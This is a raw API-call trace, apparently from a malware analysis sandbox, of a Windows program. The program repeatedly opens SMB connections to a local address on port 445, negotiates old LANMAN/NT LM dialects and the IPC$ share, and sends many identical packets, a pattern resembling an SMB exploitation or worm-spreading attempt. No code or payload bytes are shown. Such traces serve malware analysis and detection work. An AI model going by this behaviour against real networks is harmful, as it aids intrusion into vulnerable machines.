[0237.790] strlen (_Str="Windows 5.1") returned 0xb
[0237.790] strlen (_Str="Windows XP 3790") returned 0xf
[0237.790] strlen (_Str="Windows XP 3790") returned 0xf
[0237.790] strlen (_Str="Windows Server 2003 3790") returned 0x18
[0237.790] strlen (_Str="Windows Server 2003 3790") returned 0x18
[0237.791] strlen (_Str="Windows Server 2003 R2 3790") returned 0x1b
[0237.791] strlen (_Str="Windows Server 2003 R2 3790") returned 0x1b
[0237.791] strlen (_Str="Windows Vista") returned 0xd
[0237.791] strlen (_Str="Windows Vista") returned 0xd
[0237.791] strlen (_Str="Windows Server (R) 2008") returned 0x17
[0237.791] strlen (_Str="Windows Server (R) 2008") returned 0x17
[0237.791] strlen (_Str="Windows Server 2008 R2") returned 0x16
[0237.791] strlen (_Str="Windows Server 2008 R2") returned 0x16
[0237.791] strlen (_Str="Windows 7") returned 0x9
[0237.791] strlen (_Str="Windows 7") returned 0x9
[0237.798] realloc (_Block=0x0, _Size=0x1000) returned 0x294398
[0237.798] send (s=0x98, buf=0x294398*, len=1084, flags=0) returned 1084
[0237.819] select (in: nfds=153, readfds=0x2c4f928, writefds=0x0, exceptfds=0x0, timeout=0x2c4fa2c*(tv_sec=900, tv_usec=0) | out: readfds=0x2c4f928, writefds=0x0, exceptfds=0x0) returned 1
[0237.820] recv (in: s=0x98, buf=0x27d130, len=8192, flags=0 | out: buf=0x27d130*) returned 39
[0237.820] realloc (_Block=0x0, _Size=0x1000) returned 0x294398
[0237.821] realloc (_Block=0x294398, _Size=0x1001) returned 0x294398
[0237.821] realloc (_Block=0x294398, _Size=0x1002) returned 0x294398
[0237.821] realloc (_Block=0x294398, _Size=0x1003) returned 0x294398
[0237.821] realloc (_Block=0x294398, _Size=0x1004) returned 0x294398
[0237.821] realloc (_Block=0x294398, _Size=0x1005) returned 0x294398
[0237.821] realloc (_Block=0x294398, _Size=0x1006) returned 0x294398
[0237.821] realloc (_Block=0x294398, _Size=0x1007) returned 0x294398
[0237.822] realloc (_Block=0x294398, _Size=0x1008) returned 0x294398
[0237.822] realloc (_Block=0x294398, _Size=0x1009) returned 0x294398
[0237.822] realloc (_Block=0x294398, _Size=0x100a) returned 0x294398
[0237.822] realloc (_Block=0x294398, _Size=0x100b) returned 0x294398
[0237.822] realloc (_Block=0x294398, _Size=0x100c) returned 0x294398
[0237.822] realloc (_Block=0x294398, _Size=0x100d) returned 0x294398
[0237.822] realloc (_Block=0x294398, _Size=0x100e) returned 0x294398
[0237.822] realloc (_Block=0x294398, _Size=0x100f) returned 0x294398
[0237.823] realloc (_Block=0x294398, _Size=0x1010) returned 0x294398
[0237.823] realloc (_Block=0x294398, _Size=0x1011) returned 0x294398
[0237.823] realloc (_Block=0x294398, _Size=0x1012) returned 0x294398
[0237.823] realloc (_Block=0x294398, _Size=0x1013) returned 0x294398
[0237.823] realloc (_Block=0x294398, _Size=0x1014) returned 0x294398
[0237.823] realloc (_Block=0x294398, _Size=0x1015) returned 0x294398
[0237.823] realloc (_Block=0x294398, _Size=0x1016) returned 0x294398
[0237.823] realloc (_Block=0x294398, _Size=0x1017) returned 0x294398
[0237.824] realloc (_Block=0x294398, _Size=0x1018) returned 0x294398
[0237.824] realloc (_Block=0x294398, _Size=0x1019) returned 0x294398
[0237.824] realloc (_Block=0x294398, _Size=0x101a) returned 0x294398
[0237.824] realloc (_Block=0x294398, _Size=0x101b) returned 0x294398
[0237.824] realloc (_Block=0x294398, _Size=0x101c) returned 0x294398
[0237.824] realloc (_Block=0x294398, _Size=0x101d) returned 0x294398
[0237.824] realloc (_Block=0x294398, _Size=0x101e) returned 0x294398
[0237.825] realloc (_Block=0x294398, _Size=0x101f) returned 0x294398
[0237.825] realloc (_Block=0x294398, _Size=0x1020) returned 0x294398
[0237.825] realloc (_Block=0x294398, _Size=0x1021) returned 0x294398
[0237.825] realloc (_Block=0x294398, _Size=0x1022) returned 0x294398
[0237.825] realloc (_Block=0x294398, _Size=0x1023) returned 0x294398
[0237.825] realloc (_Block=0x294398, _Size=0x1024) returned 0x294398
[0237.825] realloc (_Block=0x294398, _Size=0x1025) returned 0x294398
[0237.825] realloc (_Block=0x294398, _Size=0x1026) returned 0x294398
[0237.826] realloc (_Block=0x294398, _Size=0x1027) returned 0x294398
[0237.826] realloc (_Block=0x294398, _Size=0x1028) returned 0x294398
[0237.826] realloc (_Block=0x294398, _Size=0x1029) returned 0x294398
[0237.826] realloc (_Block=0x294398, _Size=0x102a) returned 0x294398
[0237.826] realloc (_Block=0x294398, _Size=0x102b) returned 0x294398
[0237.826] realloc (_Block=0x294398, _Size=0x102c) returned 0x294398
[0237.826] realloc (_Block=0x294398, _Size=0x102d) returned 0x294398
[0237.827] realloc (_Block=0x294398, _Size=0x102e) returned 0x294398
[0237.827] realloc (_Block=0x294398, _Size=0x102f) returned 0x294398
[0237.827] realloc (_Block=0x294398, _Size=0x1030) returned 0x294398
[0237.827] realloc (_Block=0x294398, _Size=0x1031) returned 0x294398
[0237.827] realloc (_Block=0x294398, _Size=0x1032) returned 0x294398
[0237.827] realloc (_Block=0x294398, _Size=0x1033) returned 0x294398
[0237.827] realloc (_Block=0x294398, _Size=0x1034) returned 0x294398
[0237.828] realloc (_Block=0x294398, _Size=0x1035) returned 0x294398
[0237.828] realloc (_Block=0x294398, _Size=0x1036) returned 0x294398
[0237.828] realloc (_Block=0x294398, _Size=0x1037) returned 0x294398
[0237.828] realloc (_Block=0x294398, _Size=0x1038) returned 0x294398
[0237.828] realloc (_Block=0x294398, _Size=0x1039) returned 0x294398
[0237.828] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.830] realloc (_Block=0x0, _Size=0x1000) returned 0x294398
[0237.830] realloc (_Block=0x294398, _Size=0x1001) returned 0x294398
[0237.831] realloc (_Block=0x294398, _Size=0x1002) returned 0x294398
[0237.832] realloc (_Block=0x294398, _Size=0x1003) returned 0x294398
[0237.832] realloc (_Block=0x294398, _Size=0x1004) returned 0x294398
[0237.832] realloc (_Block=0x294398, _Size=0x1005) returned 0x294398
[0237.832] realloc (_Block=0x294398, _Size=0x1006) returned 0x294398
[0237.832] realloc (_Block=0x294398, _Size=0x1007) returned 0x294398
[0237.832] realloc (_Block=0x294398, _Size=0x1008) returned 0x294398
[0237.832] realloc (_Block=0x294398, _Size=0x1009) returned 0x294398
[0237.833] realloc (_Block=0x294398, _Size=0x100a) returned 0x294398
[0237.833] realloc (_Block=0x294398, _Size=0x100b) returned 0x294398
[0237.833] realloc (_Block=0x294398, _Size=0x100c) returned 0x294398
[0237.833] realloc (_Block=0x294398, _Size=0x100d) returned 0x294398
[0237.833] realloc (_Block=0x294398, _Size=0x100e) returned 0x294398
[0237.833] realloc (_Block=0x294398, _Size=0x100f) returned 0x294398
[0237.834] realloc (_Block=0x294398, _Size=0x1010) returned 0x294398
[0237.834] realloc (_Block=0x294398, _Size=0x1011) returned 0x294398
[0237.834] realloc (_Block=0x294398, _Size=0x1012) returned 0x294398
[0237.834] realloc (_Block=0x294398, _Size=0x1013) returned 0x294398
[0237.834] realloc (_Block=0x294398, _Size=0x1014) returned 0x294398
[0237.834] realloc (_Block=0x294398, _Size=0x1015) returned 0x294398
[0237.834] realloc (_Block=0x294398, _Size=0x1016) returned 0x294398
[0237.835] realloc (_Block=0x294398, _Size=0x1017) returned 0x294398
[0237.835] realloc (_Block=0x294398, _Size=0x1018) returned 0x294398
[0237.835] realloc (_Block=0x294398, _Size=0x1019) returned 0x294398
[0237.835] realloc (_Block=0x294398, _Size=0x101a) returned 0x294398
[0237.835] realloc (_Block=0x294398, _Size=0x101b) returned 0x294398
[0237.835] realloc (_Block=0x294398, _Size=0x101c) returned 0x294398
[0237.835] realloc (_Block=0x294398, _Size=0x101d) returned 0x294398
[0237.836] realloc (_Block=0x294398, _Size=0x101e) returned 0x294398
[0237.836] realloc (_Block=0x294398, _Size=0x101f) returned 0x294398
[0237.836] realloc (_Block=0x294398, _Size=0x1020) returned 0x294398
[0237.836] realloc (_Block=0x294398, _Size=0x1021) returned 0x294398
[0237.836] realloc (_Block=0x294398, _Size=0x1022) returned 0x294398
[0237.836] realloc (_Block=0x294398, _Size=0x1023) returned 0x294398
[0237.836] realloc (_Block=0x294398, _Size=0x1024) returned 0x294398
[0237.837] realloc (_Block=0x294398, _Size=0x1025) returned 0x294398
[0237.837] realloc (_Block=0x294398, _Size=0x1026) returned 0x294398
[0237.837] realloc (_Block=0x294398, _Size=0x1027) returned 0x294398
[0237.837] realloc (_Block=0x294398, _Size=0x1028) returned 0x294398
[0237.837] realloc (_Block=0x294398, _Size=0x1029) returned 0x294398
[0237.837] realloc (_Block=0x294398, _Size=0x102a) returned 0x294398
[0237.837] realloc (_Block=0x294398, _Size=0x102b) returned 0x294398
[0237.838] realloc (_Block=0x294398, _Size=0x102c) returned 0x294398
[0237.838] realloc (_Block=0x294398, _Size=0x102d) returned 0x294398
[0237.838] realloc (_Block=0x294398, _Size=0x102e) returned 0x294398
[0237.838] realloc (_Block=0x294398, _Size=0x102f) returned 0x294398
[0237.838] realloc (_Block=0x294398, _Size=0x1030) returned 0x294398
[0237.838] realloc (_Block=0x294398, _Size=0x1031) returned 0x294398
[0237.838] realloc (_Block=0x294398, _Size=0x1032) returned 0x294398
[0237.839] realloc (_Block=0x294398, _Size=0x1033) returned 0x294398
[0237.839] realloc (_Block=0x294398, _Size=0x1034) returned 0x294398
[0237.839] realloc (_Block=0x294398, _Size=0x1035) returned 0x294398
[0237.839] realloc (_Block=0x294398, _Size=0x1036) returned 0x294398
[0237.839] realloc (_Block=0x294398, _Size=0x1037) returned 0x294398
[0237.839] realloc (_Block=0x294398, _Size=0x1038) returned 0x294398
[0237.839] realloc (_Block=0x294398, _Size=0x1039) returned 0x294398
[0237.840] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.879] realloc (_Block=0x0, _Size=0x1000) returned 0x294398
[0237.879] realloc (_Block=0x294398, _Size=0x1001) returned 0x294398
[0237.880] realloc (_Block=0x294398, _Size=0x1002) returned 0x294398
[0237.880] realloc (_Block=0x294398, _Size=0x1003) returned 0x294398
[0237.880] realloc (_Block=0x294398, _Size=0x1004) returned 0x294398
[0237.880] realloc (_Block=0x294398, _Size=0x1005) returned 0x294398
[0237.880] realloc (_Block=0x294398, _Size=0x1006) returned 0x294398
[0237.880] realloc (_Block=0x294398, _Size=0x1007) returned 0x294398
[0237.880] realloc (_Block=0x294398, _Size=0x1008) returned 0x294398
[0237.881] realloc (_Block=0x294398, _Size=0x1009) returned 0x294398
[0237.881] realloc (_Block=0x294398, _Size=0x100a) returned 0x294398
[0237.881] realloc (_Block=0x294398, _Size=0x100b) returned 0x294398
[0237.881] realloc (_Block=0x294398, _Size=0x100c) returned 0x294398
[0237.881] realloc (_Block=0x294398, _Size=0x100d) returned 0x294398
[0237.881] realloc (_Block=0x294398, _Size=0x100e) returned 0x294398
[0237.881] realloc (_Block=0x294398, _Size=0x100f) returned 0x294398
[0237.882] realloc (_Block=0x294398, _Size=0x1010) returned 0x294398
[0237.882] realloc (_Block=0x294398, _Size=0x1011) returned 0x294398
[0237.882] realloc (_Block=0x294398, _Size=0x1012) returned 0x294398
[0237.882] realloc (_Block=0x294398, _Size=0x1013) returned 0x294398
[0237.882] realloc (_Block=0x294398, _Size=0x1014) returned 0x294398
[0237.882] realloc (_Block=0x294398, _Size=0x1015) returned 0x294398
[0237.882] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.883] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.884] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.885] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.885] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.886] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.886] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.887] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.888] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.888] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.889] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.890] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.890] send (s=0x98, buf=0x294398*, len=4153, flags=0) returned 4153
[0237.891] strlen (_Str="JlJmIhClBsr") returned 0xb
[0237.891] strlen (_Str="JlJmIhClBsr") returned 0xb
[0237.891] send (s=0x98, buf=0x294398*, len=53, flags=0) returned 53
[0237.892] select (in: nfds=153, readfds=0x2c4f93c, writefds=0x0, exceptfds=0x0, timeout=0x2c4fa40*(tv_sec=90, tv_usec=0) | out: readfds=0x2c4f93c, writefds=0x0, exceptfds=0x0) returned 1
[0237.892] recv (in: s=0x98, buf=0x27d130, len=8192, flags=0 | out: buf=0x27d130*) returned 53
[0237.892] htons (hostshort=0x1122) returned 0x2211
[0237.907] malloc (_Size=0x2000) returned 0x295430
[0237.908] rand () returned 13815
[0237.908] rand () returned 16357
[0237.908] rand () returned 9596
[0237.908] rand () returned 9922
[0237.908] malloc (_Size=0x18) returned 0x276e80
[0237.908] realloc (_Block=0x0, _Size=0x6) returned 0x281308
[0237.908] realloc (_Block=0x0, _Size=0xa) returned 0x38d990
[0237.909] strlen (_Str="LANMAN") returned 0x6
[0237.909] realloc (_Block=0x0, _Size=0x7) returned 0x2812f8
[0237.909] strlen (_Str="IPC$") returned 0x4
[0237.909] realloc (_Block=0x0, _Size=0x5) returned 0x281358
[0237.909] strlen (_Str="Windows 2000 2195") returned 0x11
[0237.909] realloc (_Block=0x0, _Size=0x12) returned 0x276ee0
[0237.910] strlen (_Str="Windows 2000 5.0") returned 0x10
[0237.910] realloc (_Block=0x0, _Size=0x11) returned 0x276f00
[0237.910] htons (hostshort=0x1bd) returned 0xbd01
[0237.910] socket (af=2, type=1, protocol=6) returned 0x9c
[0237.910] setsockopt (s=0x9c, level=65535, optname=128, optval="", optlen=4) returned 0
[0237.910] connect (s=0x9c, name=0x2943b8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0237.911] malloc (_Size=0x400) returned 0x272ea8
[0237.911] malloc (_Size=0x400) returned 0x29b448
[0237.912] strlen (_Str="PC NETWORK PROGRAM 1.0") returned 0x16
[0237.912] strlen (_Str="LANMAN1.0") returned 0x9
[0237.912] strlen (_Str="Windows for Workgroups 3.1a") returned 0x1b
[0237.912] strlen (_Str="LM1.2X002") returned 0x9
[0237.912] strlen (_Str="LANMAN2.1") returned 0x9
[0237.912] strlen (_Str="NT LM 0.12") returned 0xa
[0237.912] realloc (_Block=0x0, _Size=0x1000) returned 0x29b850
[0237.913] send (s=0x9c, buf=0x29b850*, len=137, flags=0) returned 137
[0237.917] select (in: nfds=157, readfds=0x2c4f7e8, writefds=0x0, exceptfds=0x0, timeout=0x2c4f8ec*(tv_sec=120, tv_usec=0) | out: readfds=0x2c4f7e8, writefds=0x0, exceptfds=0x0) returned 1
[0237.984] recv (in: s=0x9c, buf=0x272ea8, len=1024, flags=0 | out: buf=0x272ea8*) returned 131
[0237.984] realloc (_Block=0x0, _Size=0x1000) returned 0x29b850
[0237.985] send (s=0x9c, buf=0x29b850*, len=85, flags=0) returned 85
[0237.985] select (in: nfds=157, readfds=0x2c4f8a0, writefds=0x0, exceptfds=0x0, timeout=0x2c4f9a4*(tv_sec=120, tv_usec=0) | out: readfds=0x2c4f8a0, writefds=0x0, exceptfds=0x0) returned 1
[0237.985] recv (in: s=0x9c, buf=0x29b448, len=1024, flags=0 | out: buf=0x29b448*) returned 205
[0237.986] free (_Block=0x29b448)
[0237.986] free (_Block=0x29b850)
[0237.986] malloc (_Size=0x1090) returned 0x29b448
[0237.986] htons (hostshort=0x1122) returned 0x2211
[0237.986] malloc (_Size=0x2000) returned 0x29c4e0
[0237.987] rand () returned 23078
[0237.987] rand () returned 24615
[0237.987] rand () returned 21449
[0237.987] rand () returned 20007
[0237.987] malloc (_Size=0x18) returned 0x276f20
[0237.987] realloc (_Block=0x0, _Size=0x6) returned 0x281338
[0237.987] realloc (_Block=0x0, _Size=0xa) returned 0x38d9a8
[0237.988] strlen (_Str="LANMAN") returned 0x6
[0237.988] realloc (_Block=0x0, _Size=0x7) returned 0x281348
[0237.988] strlen (_Str="IPC$") returned 0x4
[0237.988] realloc (_Block=0x0, _Size=0x5) returned 0x281268
[0237.988] strlen (_Str="Windows 2000 2195") returned 0x11
[0237.988] realloc (_Block=0x0, _Size=0x12) returned 0x276f40
[0237.988] strlen (_Str="Windows 2000 5.0") returned 0x10
[0237.988] realloc (_Block=0x0, _Size=0x11) returned 0x276f60
[0237.989] htons (hostshort=0x1bd) returned 0xbd01
[0237.989] socket (af=2, type=1, protocol=6) returned 0xa0
[0237.989] setsockopt (s=0xa0, level=65535, optname=128, optval="", optlen=4) returned 0
[0237.989] connect (s=0xa0, name=0x29b468*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0237.990] realloc (_Block=0x0, _Size=0x1) returned 0x281298
[0237.990] realloc (_Block=0x281298, _Size=0x2) returned 0x2812a8
[0237.991] realloc (_Block=0x2812a8, _Size=0x3) returned 0x281298
[0237.991] realloc (_Block=0x281298, _Size=0x4) returned 0x2812a8
[0237.991] realloc (_Block=0x2812a8, _Size=0x1004) returned 0x2a24f8
[0237.992] send (s=0xa0, buf=0x2a24f8*, len=132, flags=0) returned 132
[0237.992] free (_Block=0x2a24f8)
[0237.992] htons (hostshort=0x1122) returned 0x2211
[0237.992] malloc (_Size=0x2000) returned 0x2a3590
[0237.993] rand () returned 7424
[0237.993] rand () returned 15067
[0237.993] rand () returned 24416
[0237.993] rand () returned 18366
[0237.993] malloc (_Size=0x18) returned 0x276f80
[0237.993] realloc (_Block=0x0, _Size=0x6) returned 0x2812a8
[0237.993] realloc (_Block=0x0, _Size=0xa) returned 0x38d930
[0237.993] strlen (_Str="LANMAN") returned 0x6
[0237.993] realloc (_Block=0x0, _Size=0x7) returned 0x281298
[0237.993] strlen (_Str="IPC$") returned 0x4
[0237.993] realloc (_Block=0x0, _Size=0x5) returned 0x281288
[0237.994] strlen (_Str="Windows 2000 2195") returned 0x11
[0237.994] realloc (_Block=0x0, _Size=0x12) returned 0x276fa0
[0237.994] strlen (_Str="Windows 2000 5.0") returned 0x10
[0237.994] realloc (_Block=0x0, _Size=0x11) returned 0x276fc0
[0237.994] htons (hostshort=0x1bd) returned 0xbd01
[0237.994] socket (af=2, type=1, protocol=6) returned 0xa4
[0237.995] setsockopt (s=0xa4, level=65535, optname=128, optval="", optlen=4) returned 0
[0237.995] connect (s=0xa4, name=0x2a2518*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0237.996] realloc (_Block=0x0, _Size=0x1) returned 0x281278
[0237.996] realloc (_Block=0x281278, _Size=0x2) returned 0x2812d8
[0237.996] realloc (_Block=0x2812d8, _Size=0x3) returned 0x281278
[0237.996] realloc (_Block=0x281278, _Size=0x4) returned 0x2812d8
[0237.997] realloc (_Block=0x2812d8, _Size=0x1004) returned 0x2a95a8
[0237.997] send (s=0xa4, buf=0x2a95a8*, len=132, flags=0) returned 132
[0237.997] free (_Block=0x2a95a8)
[0237.997] htons (hostshort=0x1122) returned 0x2211
[0237.997] malloc (_Size=0x2000) returned 0x2aa640
[0237.998] rand () returned 4585
[0237.998] rand () returned 7001
[0237.998] rand () returned 21954
[0237.998] rand () returned 7308
[0237.998] malloc (_Size=0x18) returned 0x276fe0
[0237.998] realloc (_Block=0x0, _Size=0x6) returned 0x2812d8
[0237.998] realloc (_Block=0x0, _Size=0xa) returned 0x38d948
[0237.998] strlen (_Str="LANMAN") returned 0x6
[0237.998] realloc (_Block=0x0, _Size=0x7) returned 0x281278
[0237.999] strlen (_Str="IPC$") returned 0x4
[0237.999] realloc (_Block=0x0, _Size=0x5) returned 0x2812b8
[0237.999] strlen (_Str="Windows 2000 2195") returned 0x11
[0237.999] realloc (_Block=0x0, _Size=0x12) returned 0x277000
[0237.999] strlen (_Str="Windows 2000 5.0") returned 0x10
[0237.999] realloc (_Block=0x0, _Size=0x11) returned 0x277020
[0237.999] htons (hostshort=0x1bd) returned 0xbd01
[0237.999] socket (af=2, type=1, protocol=6) returned 0xa8
[0238.000] setsockopt (s=0xa8, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.000] connect (s=0xa8, name=0x2a95c8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.001] realloc (_Block=0x0, _Size=0x1) returned 0x2812c8
[0238.001] realloc (_Block=0x2812c8, _Size=0x2) returned 0x2811e8
[0238.001] realloc (_Block=0x2811e8, _Size=0x3) returned 0x2812c8
[0238.002] realloc (_Block=0x2812c8, _Size=0x4) returned 0x2811e8
[0238.002] realloc (_Block=0x2811e8, _Size=0x1004) returned 0x2b0658
[0238.003] send (s=0xa8, buf=0x2b0658*, len=132, flags=0) returned 132
[0238.003] free (_Block=0x2b0658)
[0238.003] htons (hostshort=0x1122) returned 0x2211
[0238.003] malloc (_Size=0x2000) returned 0x2b16f0
[0238.004] rand () returned 1079
[0238.004] rand () returned 29977
[0238.004] rand () returned 23552
[0238.004] rand () returned 24281
[0238.004] malloc (_Size=0x18) returned 0x277040
[0238.004] realloc (_Block=0x0, _Size=0x6) returned 0x2811e8
[0238.004] realloc (_Block=0x0, _Size=0xa) returned 0x38d900
[0238.004] strlen (_Str="LANMAN") returned 0x6
[0238.005] realloc (_Block=0x0, _Size=0x7) returned 0x2812c8
[0238.005] strlen (_Str="IPC$") returned 0x4
[0238.005] realloc (_Block=0x0, _Size=0x5) returned 0x281218
[0238.009] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.009] realloc (_Block=0x0, _Size=0x12) returned 0x277060
[0238.010] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.010] realloc (_Block=0x0, _Size=0x11) returned 0x277080
[0238.010] htons (hostshort=0x1bd) returned 0xbd01
[0238.010] socket (af=2, type=1, protocol=6) returned 0xac
[0238.010] setsockopt (s=0xac, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.010] connect (s=0xac, name=0x2b0678*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.011] realloc (_Block=0x0, _Size=0x1) returned 0x281228
[0238.012] realloc (_Block=0x281228, _Size=0x2) returned 0x281208
[0238.012] realloc (_Block=0x281208, _Size=0x3) returned 0x281228
[0238.012] realloc (_Block=0x281228, _Size=0x4) returned 0x281208
[0238.012] realloc (_Block=0x281208, _Size=0x1004) returned 0x2f5700
[0238.013] send (s=0xac, buf=0x2f5700*, len=132, flags=0) returned 132
[0238.013] free (_Block=0x2f5700)
[0238.013] htons (hostshort=0x1122) returned 0x2211
[0238.013] malloc (_Size=0x2000) returned 0x2b7720
[0238.013] rand () returned 19639
[0238.013] rand () returned 25401
[0238.013] rand () returned 12352
[0238.013] rand () returned 9650
[0238.013] malloc (_Size=0x18) returned 0x2770a0
[0238.013] realloc (_Block=0x0, _Size=0x6) returned 0x281208
[0238.014] realloc (_Block=0x0, _Size=0xa) returned 0x38d918
[0238.014] strlen (_Str="LANMAN") returned 0x6
[0238.014] realloc (_Block=0x0, _Size=0x7) returned 0x281228
[0238.014] strlen (_Str="IPC$") returned 0x4
[0238.014] realloc (_Block=0x0, _Size=0x5) returned 0x2811f8
[0238.015] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.015] realloc (_Block=0x0, _Size=0x12) returned 0x2770c0
[0238.015] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.015] realloc (_Block=0x0, _Size=0x11) returned 0x2770e0
[0238.015] htons (hostshort=0x1bd) returned 0xbd01
[0238.015] socket (af=2, type=1, protocol=6) returned 0xb0
[0238.016] setsockopt (s=0xb0, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.016] connect (s=0xb0, name=0x2f5720*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.017] realloc (_Block=0x0, _Size=0x1) returned 0x281258
[0238.017] realloc (_Block=0x281258, _Size=0x2) returned 0x281238
[0238.018] realloc (_Block=0x281238, _Size=0x3) returned 0x281258
[0238.018] realloc (_Block=0x281258, _Size=0x4) returned 0x281238
[0238.018] realloc (_Block=0x281238, _Size=0x1004) returned 0x2f6798
[0238.018] send (s=0xb0, buf=0x2f6798*, len=132, flags=0) returned 132
[0238.019] free (_Block=0x2f6798)
[0238.019] htons (hostshort=0x1122) returned 0x2211
[0238.019] malloc (_Size=0x2000) returned 0x2bd738
[0238.019] rand () returned 30503
[0238.019] rand () returned 14332
[0238.019] rand () returned 31550
[0238.019] rand () returned 6249
[0238.019] malloc (_Size=0x18) returned 0x277100
[0238.020] realloc (_Block=0x0, _Size=0x6) returned 0x281238
[0238.020] realloc (_Block=0x0, _Size=0xa) returned 0x38d8b8
[0238.020] strlen (_Str="LANMAN") returned 0x6
[0238.020] realloc (_Block=0x0, _Size=0x7) returned 0x281258
[0238.020] strlen (_Str="IPC$") returned 0x4
[0238.020] realloc (_Block=0x0, _Size=0x5) returned 0x281248
[0238.021] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.021] realloc (_Block=0x0, _Size=0x12) returned 0x277120
[0238.021] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.021] realloc (_Block=0x0, _Size=0x11) returned 0x277140
[0238.021] htons (hostshort=0x1bd) returned 0xbd01
[0238.021] socket (af=2, type=1, protocol=6) returned 0xb4
[0238.022] setsockopt (s=0xb4, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.022] connect (s=0xb4, name=0x2f67b8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.023] realloc (_Block=0x0, _Size=0x1) returned 0x281198
[0238.023] realloc (_Block=0x281198, _Size=0x2) returned 0x2811a8
[0238.024] realloc (_Block=0x2811a8, _Size=0x3) returned 0x281198
[0238.024] realloc (_Block=0x281198, _Size=0x4) returned 0x2811a8
[0238.024] realloc (_Block=0x2811a8, _Size=0x1004) returned 0x2f7830
[0238.024] send (s=0xb4, buf=0x2f7830*, len=132, flags=0) returned 132
[0238.025] free (_Block=0x2f7830)
[0238.025] htons (hostshort=0x1122) returned 0x2211
[0238.025] malloc (_Size=0x2000) returned 0x2c3750
[0238.025] rand () returned 14267
[0238.025] rand () returned 7239
[0238.025] rand () returned 29126
[0238.025] rand () returned 2577
[0238.025] malloc (_Size=0x18) returned 0x277160
[0238.025] realloc (_Block=0x0, _Size=0x6) returned 0x2811a8
[0238.026] realloc (_Block=0x0, _Size=0xa) returned 0x38d8e8
[0238.026] strlen (_Str="LANMAN") returned 0x6
[0238.026] realloc (_Block=0x0, _Size=0x7) returned 0x281198
[0238.026] strlen (_Str="IPC$") returned 0x4
[0238.026] realloc (_Block=0x0, _Size=0x5) returned 0x281188
[0238.026] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.026] realloc (_Block=0x0, _Size=0x12) returned 0x277180
[0238.030] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.030] realloc (_Block=0x0, _Size=0x11) returned 0x2771a0
[0238.030] htons (hostshort=0x1bd) returned 0xbd01
[0238.030] socket (af=2, type=1, protocol=6) returned 0xb8
[0238.031] setsockopt (s=0xb8, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.031] connect (s=0xb8, name=0x2f7850*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.031] realloc (_Block=0x0, _Size=0x1) returned 0x2811d8
[0238.032] realloc (_Block=0x2811d8, _Size=0x2) returned 0x2811b8
[0238.032] realloc (_Block=0x2811b8, _Size=0x3) returned 0x2811d8
[0238.032] realloc (_Block=0x2811d8, _Size=0x4) returned 0x2811b8
[0238.032] realloc (_Block=0x2811b8, _Size=0x1004) returned 0x2f88c8
[0238.032] send (s=0xb8, buf=0x2f88c8*, len=132, flags=0) returned 132
[0238.032] free (_Block=0x2f88c8)
[0238.033] htons (hostshort=0x1122) returned 0x2211
[0238.033] malloc (_Size=0x2000) returned 0x2c9768
[0238.033] rand () returned 12443
[0238.033] rand () returned 16164
[0238.033] rand () returned 17981
[0238.033] rand () returned 9476
[0238.033] malloc (_Size=0x18) returned 0x2771c0
[0238.033] realloc (_Block=0x0, _Size=0x6) returned 0x2811b8
[0238.033] realloc (_Block=0x0, _Size=0xa) returned 0x38d8d0
[0238.033] strlen (_Str="LANMAN") returned 0x6
[0238.033] realloc (_Block=0x0, _Size=0x7) returned 0x2811d8
[0238.035] strlen (_Str="IPC$") returned 0x4
[0238.035] realloc (_Block=0x0, _Size=0x5) returned 0x2811c8
[0238.036] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.036] realloc (_Block=0x0, _Size=0x12) returned 0x2771e0
[0238.036] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.036] realloc (_Block=0x0, _Size=0x11) returned 0x277200
[0238.036] htons (hostshort=0x1bd) returned 0xbd01
[0238.036] socket (af=2, type=1, protocol=6) returned 0xbc
[0238.036] setsockopt (s=0xbc, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.036] connect (s=0xbc, name=0x2f88e8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.037] realloc (_Block=0x0, _Size=0x1) returned 0x281448
[0238.037] realloc (_Block=0x281448, _Size=0x2) returned 0x2814e8
[0238.038] realloc (_Block=0x2814e8, _Size=0x3) returned 0x281448
